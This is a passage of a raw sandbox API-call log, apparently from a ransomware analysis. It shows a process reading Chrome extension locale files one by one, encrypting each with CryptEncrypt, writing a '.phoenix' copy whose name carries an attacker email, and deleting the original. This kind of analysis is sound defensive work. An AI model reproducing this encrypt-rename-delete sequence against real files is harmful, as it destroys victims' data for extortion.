	[0254.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.732] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.732] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.732] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0254.732] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.732] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd6, lpOverlapped=0x0) returned 1
	[0254.734] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.734] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.735] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0254.735] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.735] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.735] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.735] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.735] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.735] CloseHandle (hObject=0x2d0) returned 1
	[0254.735] CloseHandle (hObject=0x2c8) returned 1
	[0254.735] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json")) returned 1
	[0254.736] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.736] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=217) returned 1
	[0254.736] CloseHandle (hObject=0x2c8) returned 1
	[0254.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json")) returned 0x20
	[0254.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.737] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.738] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.738] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0254.738] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.738] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd9, lpOverlapped=0x0) returned 1
	[0254.739] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.739] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.742] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0254.742] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.743] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.743] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.743] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.743] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.743] CloseHandle (hObject=0x2c8) returned 1
	[0254.743] CloseHandle (hObject=0x2d0) returned 1
	[0254.743] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json")) returned 1
	[0254.744] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.744] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=224) returned 1
	[0254.745] CloseHandle (hObject=0x2d0) returned 1
	[0254.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json")) returned 0x20
	[0254.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.745] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.745] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.745] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.745] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.751] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0254.751] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.751] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe0, lpOverlapped=0x0) returned 1
	[0254.753] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0254.753] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0254.754] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0254.754] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.754] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.754] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.754] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.754] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.754] CloseHandle (hObject=0x2d0) returned 1
	[0254.754] CloseHandle (hObject=0x2c8) returned 1
	[0254.754] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json")) returned 1
	[0254.755] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.756] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=222) returned 1
	[0254.756] CloseHandle (hObject=0x2c8) returned 1
	[0254.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json")) returned 0x20
	[0254.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.756] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.756] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.757] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0254.757] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.757] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xde, lpOverlapped=0x0) returned 1
	[0254.758] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.758] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.759] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0254.759] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.759] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.759] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.759] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.759] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.759] CloseHandle (hObject=0x2c8) returned 1
	[0254.759] CloseHandle (hObject=0x2d0) returned 1
	[0254.759] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json")) returned 1
	[0254.760] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.760] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.761] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=225) returned 1
	[0254.761] CloseHandle (hObject=0x2d0) returned 1
	[0254.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json")) returned 0x20
	[0254.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.761] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.761] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.762] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0254.762] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.762] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe1, lpOverlapped=0x0) returned 1
	[0254.829] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0254.829] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0254.830] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0254.830] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.830] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.830] CryptDestroyKey (hKey=0x151700) returned 1
